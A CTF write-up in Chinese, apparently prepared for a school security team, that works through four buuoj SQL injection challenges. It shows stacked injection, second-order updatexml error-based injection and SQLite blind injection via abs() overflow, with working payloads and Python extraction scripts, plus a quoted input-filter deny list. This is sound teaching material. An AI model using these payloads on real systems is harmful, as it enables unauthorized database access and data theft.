buuoj的几个SQL注入

buuoj 上的几个注入,作为学校团队分享的材料

[强网杯 2019]随便注

[SUCTF 2019]EasySQL

  • easy_sql github

  • 打开靶机,是这样的界面

  • 直接用字典 fuzz 看一下过滤了哪些字符,如图

  • 这个和强网杯相似,都是堆叠注入,在公开的源码中可以看到,传入的 query 长度不超过 40,强网杯的不能用了

  • 关键的查询代码是 select $post['query']||flag from Flag

  • 输入 1 或 0 查询结果如图,要想办法让 || 不是逻辑或

  • 官方给的 payload 是 1;set sql_mode=PIPES_AS_CONCAT;select 1

  • 拼接一下就是 select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

  • 关于 sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT|| 视为字符串的连接操作符而非 “或” 运算符

  • 关于 sql_mode 更多可以查看这个链接 : MySQL sql_mode 说明

  • 还有就是这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1select flag from flag 的结果拼接在一起

  • 关于非预期解 : *,1

  • 拼接一下,不难理解 : select *,1||flag from Flag

  • 等同于 select *,1 from Flag

[RCTF2015]EasySQL

  • EasySQL github

  • 打开靶机,是如下界面

  • 到注册页面,试了一下,usernameemail 处有过滤,直接 fuzz 一下哪些字符被禁了

  • 注册成功之后,有一个修改密码的功能,这里的考点应该就是二次注入

  • 它在存入数据库时进行了特殊字符的处理,但是在修改密码这里,从数据库中读取出来时,没有对数据处理

  • 注册用户名 'sss"\ ,在修改密码处的有个报错的回显

  • 可以猜出来 sql 语句应该是类似于这样子的 select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427e'

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

  • 经过测试,flag 不在 flag 表中

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

  • 发现输出有长度限制

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

  • 这里就很尴尬了,所以不如 reverse 逆序输出

  • username=peri0d"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#

  • 放个脚本,代表了这一题的整个流程,也记录的我的犯傻

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    import requests

    url_reg = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/register.php'
    url_log = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/login.php'
    url_change = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/changepwd.php'

    pre = 'peri0d"'
    suf = "'))),1))#"

    s = 'abcdefghijklmnopqrstuvwxyz1234567890'
    s = list(s)

    r = requests.session()

    def register(name):
    data = {
    'username' : name,
    'password' : '123',
    'email' : '123',
    }
    r.post(url=url_reg, data=data)

    def login(name):
    data = {
    'username' : name,
    'password' : '123',
    }
    r.post(url=url_log, data=data)

    def changepwd():
    data = {
    'oldpass' : '',
    'newpass' : '',
    }
    kk = r.post(url=url_change, data=data)
    if 'target' not in kk.text:
    print(kk.text)

    for i in s:
    paylaod = pre + "||(updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
    register(paylaod)
    login(paylaod)
    changepwd()

[HarekazeCTF2019]Sqlite Voting

  • 打开靶机,看到投票的页面,并且给了源码

  • vote.php 页面 POST 参数 id ,只能为数字。并且在 schema.sql 中发现了 flag

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    DROP TABLE IF EXISTS `vote`;
    CREATE TABLE `vote` (
    `id` INTEGER PRIMARY KEY AUTOINCREMENT,
    `name` TEXT NOT NULL,
    `count` INTEGER
    );
    INSERT INTO `vote` (`name`, `count`) VALUES
    ('dog', 0),
    ('cat', 0),
    ('zebra', 0),
    ('koala', 0);

    DROP TABLE IF EXISTS `flag`;
    CREATE TABLE `flag` (
    `flag` TEXT NOT NULL
    );
    INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
  • vote.php 中给出了查询的 SQL 语句,但是对参数进行了检测

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    function is_valid($str) {
    $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
    // whitespace chars
    '\s',
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
    ];
    $regexp = '/' . implode('|', $banword) . '/i';
    if (preg_match($regexp, $str)) {
    return false;
    }
    return true;
    }

    $id = $_POST['id'];
    if (!is_valid($id)) {
    die(json_encode(['error' => 'Vote id contains dangerous chars']));
    }

    $pdo = new PDO('sqlite:../db/vote.db');
    $res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
    if ($res === false) {
    die(json_encode(['error' => 'An error occurred while updating database']));
    }
  • UPDATE 成功与失败分别对应了不同的页面,那么是不是可以进行盲注,但是考虑到它过滤了 '" 这就无法使用字符进行判断,char 又被过滤也无法使用 ASCII 码判断

  • 所以可以考虑使用 hex 进行字符判断,将所有的的字符串组合用有限的 36 个字符表示

  • 先考虑对 flag 16 进制长度的判断,假设它的长度为 xy 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方

  • 那么如何构造报错语句呢?在 sqlite 中,abs 函数有一个整数溢出的报错,如果 abs 的参数是 -9223372036854775808 就会报错,同样如果是正数也会报错

  • 判断长度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

  • 脚本如下,长度 84

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    import requests

    url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
    l = 0
    for n in range(16):
    payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
    data = {
    'id' : payload
    }

    r = requests.post(url=url, data=data)
    print(r.text)
    if 'occurred' in r.text:
    l = l|1<<n

    print(l)

  • 然后考虑逐字符进行判断,但是 is_valid() 过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断

  • 这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # hex(b'zebra') = 7A65627261
    # 除去 12567 就是 A ,其余同理
    A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'

    C = 'trim(hex(typeof(.1)),12567)'

    D = 'trim(hex(0xffffffffffffffff),123)'

    E = 'trim(hex(0.1),1230)'

    F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'

    # hex(b'koala') = 6B6F616C61
    # 除去 16CF 就是 B
    B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
  • 然后逐字符进行爆破,已经知道 flag 格式为 flag{}hex(b'flag{')==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod

  • 再利用 replace(length(replace(flag,payload,''))),84,'') 这个语句进行判断

  • 如果 flag 不包含 payload ,那么得到的 length 必为 84 ,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错

  • 如果 flag 包含 payload ,那么 replace(flag, payload, '') 将 flag 中的 payload 替换为空,得到的 length 必不为 84 ,最外面的 replace 将返回 true ,通过 case when then else 构造 abs 参数为 0x8000000000000000 令其报错

  • 以上就可以根据报错爆破出 flag,最后附上出题人脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    # coding: utf-8
    import binascii
    import requests
    URL = 'http://domain/vote.php'


    l = 0
    i = 0
    for j in range(16):
    r = requests.post(URL, data={
    'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
    l |= 1 << j
    print('[+] length:', l)


    table = {}
    table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
    table['C'] = 'trim(hex(typeof(.1)),12567)'
    table['D'] = 'trim(hex(0xffffffffffffffff),123)'
    table['E'] = 'trim(hex(0.1),1230)'
    table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
    table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'


    res = binascii.hexlify(b'flag{').decode().upper()
    for i in range(len(res), l):
    for x in '0123456789ABCDEF':
    t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
    r = requests.post(URL, data={
    'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
    res += x
    break
    print(f'[+] flag ({i}/{l}): {res}')
    i += 1
    print('[+] flag:', binascii.unhexlify(res).decode())